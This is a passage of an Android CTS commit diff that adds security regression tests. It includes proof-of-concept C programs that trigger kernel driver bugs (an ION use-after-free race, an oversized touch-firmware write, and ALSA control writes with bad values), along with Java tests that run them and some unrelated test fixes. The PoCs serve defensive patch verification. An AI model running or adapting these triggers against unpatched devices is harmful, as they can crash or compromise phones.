+ val.id.index = 4;
+ val.value.integer.value[0] = 0x30;
+ int fd = open("/dev/snd/controlC0", O_RDWR);
+ ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
new file mode 100644
index 0000000..91d154c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0564
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
new file mode 100644
index 0000000..6867562
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ 2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+ (((dir) << _IOC_DIRSHIFT) | \
+ ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | \
+ ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
new file mode 100644
index 0000000..7734d4c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <stdio.h>
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <linux/ion.h>
+
+#define ION_HEAP(bit) (1 << (bit))
+
+enum ion_heap_ids {
+ INVALID_HEAP_ID = -1,
+ ION_CP_MM_HEAP_ID = 8,
+ ION_SECURE_HEAP_ID = 9,
+ ION_SECURE_DISPLAY_HEAP_ID = 10,
+ ION_CP_MFC_HEAP_ID = 12,
+ ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+ ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+ ION_SYSTEM_CONTIG_HEAP_ID = 21,
+ ION_ADSP_HEAP_ID = 22,
+ ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+ ION_SF_HEAP_ID = 24,
+ ION_SYSTEM_HEAP_ID = 25,
+ ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+ ION_QSECOM_HEAP_ID = 27,
+ ION_AUDIO_HEAP_ID = 28,
+ ION_MM_FIRMWARE_HEAP_ID = 29,
+ ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+static unsigned int ion_type[] = {
+ ION_HEAP(ION_CP_MM_HEAP_ID),
+ ION_HEAP(ION_CP_MFC_HEAP_ID),
+ ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
+ ION_HEAP(ION_ADSP_HEAP_ID ),
+ ION_HEAP(ION_SF_HEAP_ID),
+ ION_HEAP(ION_SYSTEM_HEAP_ID),
+ ION_HEAP(ION_QSECOM_HEAP_ID),
+ ION_HEAP(ION_AUDIO_HEAP_ID),
+};
+
+#define NEW_ION
+int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
+{
+ int ret;
+ struct ion_allocation_data req = {
+ .len = len,
+#ifdef NEW_ION
+ .heap_id_mask = ion_type,
+ //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
+ .flags = (1 << 0),
+ .flags = 0x0,
+#else
+ .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
+#endif
+ .align = len,
+ };
+
+ ret = ioctl(fd, ION_IOC_ALLOC, &req);
+ if (ret) {
+ return ret;
+ }
+
+ *hdl = req.handle;
+
+ return 0;
+}
+
+int ion_free(int fd, int hdl)
+{
+ int ret;
+ struct ion_handle_data req = {
+ .handle = hdl,
+ };
+
+ ret = ioctl(fd, ION_IOC_FREE, &req);
+ if (ret) {
+ return ret;
+ }
+
+ return 0;
+}
+
+int ion_map(int fd, int hdl)
+{
+ int ret;
+ struct ion_fd_data req = {
+ .handle = hdl,
+ };
+
+ ret = ioctl(fd, ION_IOC_MAP, &req);
+ if (ret) {
+ return ret;
+ }
+
+ return req.fd;
+}
+
+int ion_fd;
+int ion_handle;
+int status[2];
+int cmd = 0;
+
+void *threadForIonFree01()
+{
+ status[0] = 1;
+
+ while (cmd == 0) {
+ usleep(10);
+ }
+ if (cmd == -1)
+ goto failed;
+
+ usleep(50);
+ ion_free(ion_fd, ion_handle);
+
+failed:
+ status[0] = 2;
+ return NULL;
+}
+
+
+void *threadForIonFree02()
+{
+ status[1] = 1;
+
+ while (cmd == 0) {
+ usleep(10);
+ }
+ if(cmd == -1)
+ goto failed;
+
+ usleep(50);
+ ion_free(ion_fd, ion_handle);
+
+failed:
+ status[1] = 2;
+ return NULL;
+}
+
+int main()
+{
+ int ret, i, count;
+ pthread_t tid_free[2];
+
+ count = 0;
+retry:
+ status[0] = 0;
+ status[1] = 0;
+ cmd = 0;
+ ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
+ if (ion_fd < 0) {
+ return -1;
+ }
+
+ for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
+ ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
+ if (ret == 0) {
+ break;
+ }
+ }
+
+ if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
+ goto failed;
+ }
+
+ ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
+ if (ret != 0) {
+ goto failed;
+ }
+
+ ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
+ if (ret != 0) {
+ cmd = -1;
+ goto failed;
+ }
+
+ while (status[0] != 1 || status[1] != 1) {
+ usleep(50);
+ }
+
+ cmd = 1;
+ ret = ion_map(ion_fd, ion_handle);
+
+ while (status[0] != 2 || status[1] != 2) {
+ usleep(50);
+ }
+
+failed:
+ ion_free(ion_fd,ion_handle);
+ close(ion_fd);
+ goto retry;
+
+ return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
new file mode 100644
index 0000000..0ef89c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0577
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
new file mode 100644
index 0000000..42455be
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+int test_touch_fwu(){
+ char* dev_name = "/dev/touch_fwu";
+ int fd = open(dev_name, O_RDWR);
+
+ if (fd < 0) {
+ return -1;
+ }
+
+ size_t buf_len = 0xfffff;
+ char* buf = (char*) malloc(buf_len);
+ if (buf == NULL ) {
+ return -1;
+ }
+
+ int ret = 0;
+ ret = write(fd, buf, buf_len);
+ free(buf);
+ return ret;
+}
+
+int main()
+{
+ test_touch_fwu();
+ return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
new file mode 100644
index 0000000..9d1d3d17
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-7369
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SRC_FILES := poc.c
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
new file mode 100644
index 0000000..c18936c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
@@ -0,0 +1,236 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/ptrace.h>
+#include <errno.h>
+#include <sys/syscall.h>
+#include <sys/prctl.h>
+#include <stdint.h>
+#include <sys/stat.h>
+#include <sys/mman.h>
+#include <linux/fb.h>
+#include <dlfcn.h>
+#include <sys/socket.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <unistd.h>
+#include <sound/asound.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define MAXNUM 94
+#define MAXPCMOP 25
+#define MAXELE 16384
+
+char* CONTBL[MAXNUM]={
+ "comprC0D17",
+ "comprC0D18",
+ "comprC0D37",
+ "comprC0D38",
+ "comprC0D39",
+ "comprC0D40",
+ "comprC0D41",
+ "comprC0D42",
+ "comprC0D9",
+ "controlC0",
+ "hwC0D10",
+ "hwC0D1000",
+ "hwC0D11",
+ "hwC0D12",
+ "hwC0D13",
+ "hwC0D14",
+ "hwC0D15",
+ "hwC0D16",
+ "hwC0D2",
+ "hwC0D20",
+ "hwC0D21",
+ "hwC0D22",
+ "hwC0D24",
+ "hwC0D25",
+ "hwC0D26",
+ "hwC0D3",
+ "hwC0D30",
+ "hwC0D31",
+ "hwC0D35",
+ "hwC0D36",
+ "hwC0D37",
+ "hwC0D39",
+ "hwC0D40",
+ "hwC0D45",
+ "hwC0D7",
+ "hwC0D8",
+ "hwC0D9",
+ "pcmC0D0c",
+ "pcmC0D0p",
+ "pcmC0D10c",
+ "pcmC0D10p",
+ "pcmC0D11c",
+ "pcmC0D11p",
+ "pcmC0D12c",
+ "pcmC0D12p",
+ "pcmC0D13c",
+ "pcmC0D13p",
+ "pcmC0D14c",
+ "pcmC0D14p",
+ "pcmC0D15c",
+ "pcmC0D15p",
+ "pcmC0D16c",
+ "pcmC0D19c",
+ "pcmC0D19p",
+ "pcmC0D1c",
+ "pcmC0D1p",
+ "pcmC0D20c",
+ "pcmC0D20p",
+ "pcmC0D21p",
+ "pcmC0D22c",
+ "pcmC0D22p",
+ "pcmC0D23c",
+ "pcmC0D23p",
+ "pcmC0D24c",
+ "pcmC0D24p",
+ "pcmC0D25c",
+ "pcmC0D26p",
+ "pcmC0D27c",
+ "pcmC0D28c",
+ "pcmC0D29c",
+ "pcmC0D2c",
+ "pcmC0D2p",
+ "pcmC0D30c",
+ "pcmC0D31c",
+ "pcmC0D32c",
+ "pcmC0D33c",
+ "pcmC0D34c",
+ "pcmC0D35c",
+ "pcmC0D35p",
+ "pcmC0D36c",
+ "pcmC0D36p",
+ "pcmC0D3c",
+ "pcmC0D3p",
+ "pcmC0D43c",
+ "pcmC0D44c",
+ "pcmC0D44p",
+ "pcmC0D45c",
+ "pcmC0D45p",
+ "pcmC0D4p",
+ "pcmC0D5c",
+ "pcmC0D5p",
+ "pcmC0D6c",
+ "pcmC0D7p",
+ "pcmC0D8c"
+};
+
+ char* OPPCM[MAXPCMOP]={
+ "/dev/snd/pcmC0D0p",
+ "/dev/snd/pcmC0D10p",
+ "/dev/snd/pcmC0D11p",
+ "/dev/snd/pcmC0D12p",
+ "/dev/snd/pcmC0D13p",
+ "/dev/snd/pcmC0D14p",
+ "/dev/snd/pcmC0D15p",
+ "/dev/snd/pcmC0D19p",
+ "/dev/snd/pcmC0D1p",
+ "/dev/snd/pcmC0D20p",
+ "/dev/snd/pcmC0D21p",
+ "/dev/snd/pcmC0D22p",
+ "/dev/snd/pcmC0D23p",
+ "/dev/snd/pcmC0D24p",
+ "/dev/snd/pcmC0D2p",
+ "/dev/snd/pcmC0D32p",
+ "/dev/snd/pcmC0D33p",
+ "/dev/snd/pcmC0D3p",
+ "/dev/snd/pcmC0D40p",
+ "/dev/snd/pcmC0D41p",
+ "/dev/snd/pcmC0D44p",
+ "/dev/snd/pcmC0D47p",
+ "/dev/snd/pcmC0D4p",
+ "/dev/snd/pcmC0D5p",
+ "/dev/snd/pcmC0D7p"
+};
+
+void poc(char* name)
+{
+ int fd, ret, cmd, index,pcmfd, i;
+ char dev[36]={0};
+ snprintf(dev, sizeof(dev),"/dev/snd/%s", name);
+ fd = open(dev, O_RDWR);
+ if (fd < 0)
+ {
+ return;
+ }
+
+ cmd = SNDRV_CTL_IOCTL_CARD_INFO;
+ struct snd_ctl_card_info info;
+ ret = ioctl(fd, cmd, &info);
+
+ struct snd_ctl_elem_list lst;
+ struct snd_ctl_elem_value control;
+ memset(&lst, 0, sizeof(lst));
+ lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));
+ lst.space = MAXELE;
+ cmd = SNDRV_CTL_IOCTL_ELEM_LIST;
+ ret = ioctl(fd, cmd, &lst);
+ control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;
+
+ for(index=0;(unsigned int)index<lst.count;index++)
+ {
+ if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||
+ !strncmp((const char *)lst.pids[index].name,"left Profile",12)||
+ !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||
+ !strncmp((const char *)lst.pids[index].name, "LSM",3)||
+ !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||
+ !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||
+ !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;
+
+ control.id.numid=lst.pids[index].numid;
+ ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
+ }
+ close(fd);
+}
+
+struct mystruct{
+ int a;
+ char* pp;
+};
+
+void freeptr(struct mystruct* p)
+{
+ unsigned char* n = (unsigned char *)p->pp;
+ n = NULL;
+ p->pp = NULL;
+ p = NULL;
+}
+
+int main()
+{
+ int i =0;
+ for(i = 0; i< MAXNUM; i++)
+ {
+ poc("controlC0");
+ break;
+ }
+ return 1;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
index 3f4334b..3a1e78e 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -21,14 +21,14 @@
public class Poc17_04 extends SecurityTestCase {
/**
- * b/33842951
+ * b/33544431
*/
@SecurityTest
- public void testPocCVE_2017_0577() throws Exception {
+ public void testPocCVE_2017_0576() throws Exception {
enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/touch_fwu")) {
- AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
- }
+ if(containsDriver(getDevice(), "/dev/qce")) {
+ AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
+ }
}
/**
@@ -52,4 +52,37 @@
AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
}
}
+
+ /**
+ * b/33842951
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0577() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+ AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/33966912
+ */
+ @SecurityTest
+ public void testPocCVE_2016_10231() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+ AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/34276203
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0564() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/ion")) {
+ AdbUtils.runPoc("CVE-2017-0564", getDevice(), 60);
+ }
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
index 7926857..e08aa9e 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -53,4 +53,15 @@
AdbUtils.runPoc("CVE-2017-0579", getDevice(), 60);
}
}
+
+ /**
+ * b/33751424
+ */
+ @SecurityTest
+ public void testPocCVE_2017_7369() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+ AdbUtils.runPoc("CVE-2017-7369", getDevice(), 60);
+ }
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index d4a546b..8e65682 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -81,6 +81,7 @@
* Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
* from docked state to fullscreen (reverse).
*/
+ @Presubmit
public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index 972794e3..5b1935b 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -258,6 +258,7 @@
// Get the device, this gives a handle to run commands and install APKs.
mDevice = getDevice();
wakeUpAndUnlockDevice();
+ pressHomeButton();
// Remove special stacks.
removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
// Store rotation settings.
@@ -280,6 +281,7 @@
// Remove special stacks.
removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
wakeUpAndUnlockDevice();
+ pressHomeButton();
} catch (DeviceNotAvailableException e) {
}
}
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index 079a0b9..e3ce544 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -60,12 +60,15 @@
// Get a {@link Display} instance after rotation.
final Display updatedDisplay = mActivity.getDisplay();
- // Ensure that the width and height of the original instance no longer are the same. Note
- // that this will be false if the device width and height are identical.
- assertFalse("width from original display instance should have changed",
- origWidth == origDisplay.getWidth());
- assertFalse("height from original display instance should have changed",
- origHeight == origDisplay.getHeight());
+ // For square sreens the following assertions do not make sense and will always fail.
+ if (origWidth != origHeight) {
+ // Ensure that the width and height of the original instance no longer are the same. Note
+ // that this will be false if the device width and height are identical.
+ assertFalse("width from original display instance should have changed",
+ origWidth == origDisplay.getWidth());
+ assertFalse("height from original display instance should have changed",
+ origHeight == origDisplay.getHeight());
+ }
// Ensure that the width and height of the original instance have been updated to match the
// values that would be found in a new instance.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index 4bf751e..4b1f83e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -41,6 +41,20 @@
import org.junit.Rule;
import org.junit.Test;
+/*
+ * TODO: refactor this class.
+ *
+ * It has 2 types of tests:
+ * 1. unit tests that asserts AutofillValue methods
+ * 2. integrationg tests that uses a the InstrumentedAutofillService
+ *
+ * The unit tests (createXxxx*() should either be moved to the CtsViewTestCases module or to a
+ * class that does not need to extend AutoFillServiceTestCase.
+ *
+ * Most integration tests overlap the tests on CheckoutActivityTest - we should remove the
+ * redundant tests and add more tests (like triggering autofill using different views) to
+ * CheckoutActivityTest.
+ */
public class AutofillValueTest extends AutoFillServiceTestCase {
@Rule
public final ActivityTestRule<AllAutofillableViewsActivity> mActivityRule =
@@ -145,25 +159,22 @@
}
/**
- * Trigger autofill on a view. This might have to be tried multiple times as the service might
- * not be completely initialized yet and therefor autofill is not enabled while the focus is
- * changed.
+ * Trigger autofill on a view.
*
* @param view The view to trigger the autofill on
*/
private void startAutoFill(@NonNull View view) throws Exception {
- eventually(() -> {
- mActivity.syncRunOnUiThread(() -> {
- view.clearFocus();
- view.requestFocus();
- });
+ mActivity.syncRunOnUiThread(() -> {
+ view.clearFocus();
+ view.requestFocus();
+ });
- try {
- sReplier.getNextFillRequest();
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- }, (int) (FILL_TIMEOUT_MS * 3));
+ // NOTE: This method to require multiple attempts as the service could not be completely
+ // initialized yet (and therefore autofill would not enabled when the focus was changed),
+ // but now enableService() uses a Settings listener to wait until the setting is effect, so
+ // that flakiness should be gone if it still happens, then it could be fixed by calling
+ // InstrumentedAutoFillService.waitUntilConnected() here...
+ sReplier.getNextFillRequest();
}
private void autofillEditText(@Nullable AutofillValue value, String expectedText,
